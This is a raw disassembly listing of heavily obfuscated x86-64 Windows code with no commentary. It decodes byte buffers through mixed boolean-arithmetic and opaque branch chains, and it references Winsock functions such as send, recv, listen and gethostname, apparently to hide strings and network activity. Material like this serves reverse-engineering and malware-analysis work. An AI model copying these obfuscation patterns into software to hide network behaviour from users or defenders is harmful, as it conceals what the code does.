sub r11b, 0x48
inc r9
dec rdi
inc rdi
jmp 0x1400da8d3
jne 0x1400db036
movzx ebx, dil
lea edx, [rbx - 0x39]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x71
jmp 0x1400db2b1
inc rax
cmp r8, rax
jne 0x1400db062
lea ecx, [rdi - 0x47]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0xf
inc r9
dec rdi
inc rdi
jmp 0x1400da8d3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400db08c
lea ecx, [rdi - 0x55]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x53
dec rdi
inc rdi
jmp 0x1400da8d3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400db0b3
lea edx, [rdi + 0x73]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x25
add r11b, dl
jmp 0x1400db316
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400dad75
lea ecx, [rdi + 0x57]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x61
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400da8d3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400db125
lea edx, [rdi - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400da8d3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400db14d
lea edx, [rdi - 0x76]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400db20d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400db16e
lea edx, [rdi + 0x6e]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 2
jmp 0x1400db1e7
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400db19c
lea edx, [rdi + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rdi
inc rdi
jmp 0x1400da8d3
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400dad32
movzx ebx, dil
lea edx, [rbx + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400db2b1
lea edx, [rdi + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0x310]
sub r11b, al
sub r11b, 0x18
add r11b, r10b
add r11b, dl
lea edx, [rdi - 0x5f]
movzx eax, dl
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x67
add cl, dl
add cl, r10b
mov byte [rbp + rdi + 0x310], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400da8d3
lea ecx, [rdi + 0x1a]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [rcx + 0x4a]
jmp 0x1400db316
lea edx, [rdi - 0x75]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x33
add r11b, dl
jmp 0x1400db316
lea ecx, [rdi - 0x3d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x55
dec rdi
inc rdi
jmp 0x1400da8d3
movzx ebx, dil
lea edx, [rbx - 0x21]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x19
jmp 0x1400db2b1
movzx ebx, dil
lea edx, [rbx - 5]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x23
add r11b, dl
sub bl, 0x51
movzx eax, bl
and al, r10b
add al, al
sub bl, al
add bl, 0x37
add bl, r10b
mov byte [rbp + rdi + 0x310], bl
inc r9
dec rdi
inc rdi
jmp 0x1400da8d3
lea ecx, [rdi + 0x17]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x5f
dec rdi
inc rdi
jmp 0x1400da8d3
lea rcx, [rdi + r12]
movzx r10d, bl
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x29
lea ecx, [rdi - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 5
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x310], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400db35b
lea rdx, [rdi + r13]
movzx r10d, bl
movzx eax, dl
and al, bl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x75
add r11b, dl
lea ecx, [rdi + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x54
add cl, r10b
mov byte [rbp + rdi + 0x310], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400da8d3
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x13
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400da8d3
sub dil, 0x23
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
lea r11d, [rdi + r10]
sub r11b, 0xb
xor ebx, ebx
jmp 0x1400da8d0
sub dil, 0x15
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
lea r11d, [rdi + r10]
sub r11b, 0x6d
xor ebx, ebx
jmp 0x1400da8c0
lea rax, [rbp + 0x177585c]
jmp 0x1400db41d
lea rax, [rbp + 0x4f1bd5]
jmp 0x1400db41d
lea rax, [rbp + 0x310]
mov qword [rsp + 0x30], rax
xor r8d, r8d
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x50]
call fcn.140025300
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x70]
call fcn.140024050
nop
lea rcx, [rbp + 0x50]
call fcn.1400247a0
mov byte [rbp + 0x90], WSAStartup
mov byte [rbp + 0x91], WSAStartup
mov byte [rbp + 0x92], WSAStartup
mov byte [rbp + 0x93], reloc.WS2_32.dll_WSAStartup
xor eax, eax
mov qword [rbp + 0x94], rax
mov dword [rbp + 0x9c], eax
mov word [rbp + 0xa0], ax
movabs r14, 0xc1a6f625dc791c8e
movabs r12, 0x4b90bb09074fc7e2
movabs r15, 0x44f4e271956b55aa
movzx r11d, byte [rbp + 0x3c0]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
xor ebx, ebx
mov edi, ebx
cmp rdi, 0x12
jae 0x1400dc022
movzx ebx, byte [rbp + rdi + 0x90]
mov r10, rbx
nop dword [rax]
cmp r8, rdi
ja 0x1400dc019
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400db50c
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x1e
jmp 0x1400db540
je 0x1400dbfa4
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dbf21
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400dbeec
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400dbea1
nop dword [rax]
cmp r9, rdi
ja 0x1400dc010
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400db56d
lea edx, [rdi - 0x5a]
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400db5c0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400dbe82
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dbe3d
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400dbe24
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400dbe0b
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400dbdf0
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400dbdc6
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400dbb13
nop dword [rax]
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400dbaf5
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400dbace
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400dbaaa
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400dba8c
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400dba73
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400dba55
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400dba37
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400dba1e
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400db9f4
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400db5d0
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400dbff0
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400dbfd5
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400db7c6
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400db7a8
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400db78a
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400db9aa
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400db962
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400db925
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400db8fc
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400db5d0
lea r8, [r9 + 6]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400db8d2
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400db8b4
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400db896
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400db87d
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400db864
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400db847
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400db823
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400db7fc
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400db7df
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400db5d0
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x2a]
jmp 0x1400db5d0
lea edx, [rdi + 0x1a]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400db5c0
lea edx, [rdi - 2]
movzx eax, dl
and al, bl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400db540
lea ecx, [rdi - 0x1e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2e
jmp 0x1400db4d6
lea ecx, [rdi + 0x30]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
movzx r10d, dil
jmp 0x1400dbebf
lea edx, [rdi + 0x14]
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400db4c4
lea edx, [rdi - 8]
movzx eax, dl
and al, bl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400db4c4
lea ecx, [rdi - 0x24]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
movzx r10d, dil
jmp 0x1400dbe5b
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
jmp 0x1400dbf05
lea ecx, [rdi - 0x5c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
jmp 0x1400dbf08
lea edx, [rdi - 0x78]
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dbf3f
lea edx, [rdi + 0x6c]
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dbf66
lea ecx, [rdi + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400db4c4
lea edx, [rdi - 0x76]
movzx eax, dl
and al, bl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi + 0x90], r11b
inc rdi
jmp 0x1400db4c4
lea ecx, [rdi + 0x6e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 2
cmp r9, 0x40
jb 0x1400db915
movzx r10d, dil
lea edx, [r10 - 0x6c]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x18]
jmp 0x1400dbebf
lea ecx, [rdi + 0x52]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
cmp r8, 6
jae 0x1400dbd8b
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400dbcc8
lea edx, [rdi + 0x7c]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x64
add r11b, dl
jmp 0x1400db939
lea ecx, [rdi + 0x36]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7a
lea rax, [r9 + r8]
cmp rax, 0x5a
je 0x1400dbdae
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400dbbe9
lea edx, [rdi - 0x2a]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400db976
lea ecx, [rdi - 0x1c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400db4c4
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x1400dbf66
lea edx, [rdi - 0x54]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dbf3f
lea edx, [rdi - 0x70]
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dbf08
lea ecx, [rdi + 0x74]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
jmp 0x1400dbf05
movzx r10d, dil
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x1400dbe5b
lea edx, [rdi + 0x3c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400db4c4
lea edx, [rdi + 0x20]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400db4c4
movzx r10d, dil
lea ecx, [r10 + 4]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x1400dbebf
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400dbb3d
lea edx, [rdi - 0x72]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400db9be
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400dbb70
lea ecx, [rdi + 0x4c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400db4c4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dbb97
lea edx, [rdi - 0x7c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dbf3f
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400dbbb9
lea ecx, [rdi - 0x44]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
jmp 0x1400dbf05
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400db9be
movzx r10d, dil
lea edx, [r10 - 0x28]
movzx eax, dl
and al, bl
mov ecx, ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dbe5b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dbc15
movzx r10d, dil
lea edx, [r10 - 0xe]
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400dbebf
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400dbc3d
lea ecx, [rdi + 0x2a]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x26
dec rdi
inc rdi
jmp 0x1400db4c4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dbc58
movzx r10d, dil
lea edx, [r10 + 0x46]
mov ecx, ntohl
jmp 0x1400dbe4a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dbc7f
lea edx, [rdi + 0x62]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400dbf05
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400dbca1
lea ecx, [rdi + 0x7e]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x72
jmp 0x1400dbf08
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400db976
lea edx, [rdi - 0x66]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x36
jmp 0x1400dbf3c
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400dbcfb
lea ecx, [rdi - 0x68]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x28
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400db4c4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dbd1f
lea edx, [rdi - 0x30]
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400dbf3c
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400dbd41
lea ecx, [rdi - 0x14]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x74
jmp 0x1400dbf08
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dbd5c
movzx r10d, dil
lea edx, [r10 + 0x24]
mov ecx, 2
jmp 0x1400dbe4a
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400db939
movzx r10d, dil
lea edx, [r10 + 0x78]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
add r11b, dl
jmp 0x1400dbebf
movzx r10d, dil
lea edx, [r10 - 0x50]
movzx eax, bl
and al, dl
movzx ecx, byte [rbp + rdi + 0x90]
sub cl, al
add cl, 0x18
lea r11d, [rcx + rcx]
jmp 0x1400dbe58
lea edx, [rdi - 0x34]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400dbf3c
lea ecx, [rdi - 0x5e]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6e
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400db4c4
lea edx, [rdi + 0x6a]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400dbf3c
lea ecx, [rdi + 0x4e]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x22
jmp 0x1400dbf08
lea ecx, [rdi + 0x32]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5e
jmp 0x1400dbf05
movzx r10d, dil
lea edx, [r10 + 0x16]
mov ecx, 0x33
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r10b, 0x3e
movzx eax, bl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, r10b
mov byte [rbp + rdi + 0x90], cl
jmp 0x1400dbf05
movzx r10d, dil
lea edx, [r10 - 0x3e]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4e
add r11b, dl
jmp 0x1400dbebf
movzx r10d, dil
lea edx, [r10 - 0x76]
movzx eax, dl
and al, bl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r10b, 0x22
movzx eax, bl
and al, r10b
mov ecx, 9
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
mov byte [rbp + rdi + 0x90], cl
inc r9
dec rdi
inc rdi
jmp 0x1400db4c4
lea edx, [rdi + 0x1a]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400db4c4
lea rdx, [rdi + r12]
movzx ebx, r10b
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2e
add r11b, dl
lea edx, [rdi + 0x5a]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x76
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x90], al
inc r9
add rax, r9
sub rdi, rax
lea ecx, [rdi - 0x18]
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x58
add bl, cl
mov byte [rbp + rdi + 0x90], bl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400db4c4
lea rcx, [rdi + r15]
movzx eax, cl
and al, r10b
mov edx, reloc.WLDAP32.dll_Ordinal_45
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400db4c4
sub dil, 0x3a
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
sub r11b, 0x6a
jmp 0x1400db4c0
sub dil, 0x56
movzx eax, bl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x1400db4b0
mov r14d, dword [rbp + 0x15f2ff8]
jmp 0x1400dc029
mov r14d, dword [rbp + 0x984c86]
jmp 0x1400dc029
mov r14d, dword [rbp + 0x90]
lea rcx, [rbp + 0x70]
call fcn.140024810
mov r15, rax
mov byte [rbp + 0xb0], 0x47
mov byte [rbp + 0xb1], 0x41
mov byte [rbp + 0xb2], 0x7f
mov byte [rbp + 0xb3], 0x45
mov byte [rbp + 0xb4], Ordinal_211
xorps xmm0, xmm0
movups xmmword [rbp + 0xb5], xmm0
movabs r13, 0x3c3da94d72f371a3
movabs r12, 0xb4b8fbe858da54e9
movzx r10d, byte [rbp + 0x3c0]
nop
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
xor esi, esi
movabs r11, 0x2d344e833ec1382f
movabs rcx, 0xa5afa11e24a81b75
cmp rsi, 0x15
jae 0x1400dc91e
movzx edi, byte [rbp + rsi + 0xb0]
mov edx, edi
nop word [rax + rax]
cmp r8, rsi
ja 0x1400dc915
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400dc0eb
lea rcx, [rsi + r13]
mov eax, edx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0x75
jmp 0x1400dc124
je 0x1400dc8a7
inc rax
cmp r8, rax
je 0x1400dc84e
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400dc80e
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400dc7dd
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400dc7bd
cmp r9, rsi
ja 0x1400dc90c
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400dc14d
lea ecx, [rsi + 0x5f]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x67
jmp 0x1400dc180
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400dc780
inc rax
cmp r8, rax
je 0x1400dc75d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dc73d
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400dc723
lea rax, [r8 + r9]
cmp rax, rsi
jbe 0x1400dc460
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400dc446
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400dc423
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400dc409
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dc3ea
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400dc3ba
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x61]
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400dc8ef
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400dc8d2
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400dc273
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400dc356
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400dc331
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400dc306
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400dc2ec
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400dc2d2
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400dc2ad
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400dc28d
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x20]
jmp 0x1400dc190
lea ecx, [rsi + 0x3b]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x63
jmp 0x1400dc124
lea ecx, [rsi - 8]
movzx eax, cl
and al, dil
mov r10d, Ordinal_32
sub r10b, al
add r10b, r10b
add r10b, cl
add r10b, dil
jmp 0x1400dc795
lea edx, [rsi + 0x6c]
movzx eax, dl
and al, dil
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
dec rsi
inc rsi
jmp 0x1400dc092
lea ecx, [rsi - 0x20]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x20
jmp 0x1400dc7f2
lea ecx, [rsi + 0xe]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x62
jmp 0x1400dc864
lea ecx, [rsi - 0x38]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x78
movzx eax, byte [rbp + rsi + 0xb0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400dc092
lea ecx, [rsi - 0x67]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x2f
mov byte [rbp + rsi + 0xb0], r10b
inc rsi
jmp 0x1400dc092
lea ecx, [rsi + 0xd]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x5b
cmp r8, 0x40
jae 0x1400dc6ce
